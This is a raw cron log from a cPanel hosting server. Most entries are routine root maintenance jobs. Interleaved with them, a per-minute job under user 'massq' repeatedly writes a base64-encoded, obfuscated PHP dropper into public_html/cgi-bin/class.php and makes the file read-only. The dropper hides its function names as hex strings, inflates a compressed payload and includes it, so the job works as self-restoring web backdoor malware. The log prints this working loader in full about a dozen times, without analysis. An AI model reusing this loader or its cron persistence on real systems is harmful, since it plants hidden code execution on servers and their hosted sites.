Sep 11 13:44:01 server CROND[3177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:44:01 server CROND[3178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:44:01 server CROND[3179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:45:01 server CROND[3586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:45:01 server CROND[3587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:45:01 server CROND[3590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:45:01 server CROND[3595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:45:01 server CROND[3596]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:45:01 server CROND[3592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:45:01 server CROND[3593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:46:01 server CROND[4461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:46:01 server CROND[4462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:46:01 server CROND[4463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:47:01 server CROND[4843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:47:01 server CROND[4844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:47:01 server CROND[4845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:48:01 server CROND[5329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:48:01 server CROND[5330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:48:01 server CROND[5331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:49:01 server CROND[5734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:49:01 server CROND[5735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:49:01 server CROND[5736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:50:01 server CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:50:01 server CROND[6136]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:50:01 server CROND[6142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:50:01 server CROND[6143]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 13:50:01 server CROND[6139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:50:01 server CROND[6138]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:50:01 server CROND[6145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:50:01 server CROND[6140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:50:01 server CROND[6141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:51:01 server CROND[6970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:51:01 server CROND[6971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:51:01 server CROND[6972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:52:01 server CROND[7349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:52:01 server CROND[7350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:52:01 server CROND[7351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:53:01 server CROND[7810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:53:01 server CROND[7813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:53:01 server CROND[7815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:54:01 server CROND[8195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:54:01 server CROND[8196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:54:01 server CROND[8197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:55:01 server CROND[8579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 13:55:01 server CROND[8580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 13:55:01 server CROND[8581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:55:01 server CROND[8584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:55:01 server CROND[8583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:55:01 server CROND[8585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:55:01 server CROND[8586]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
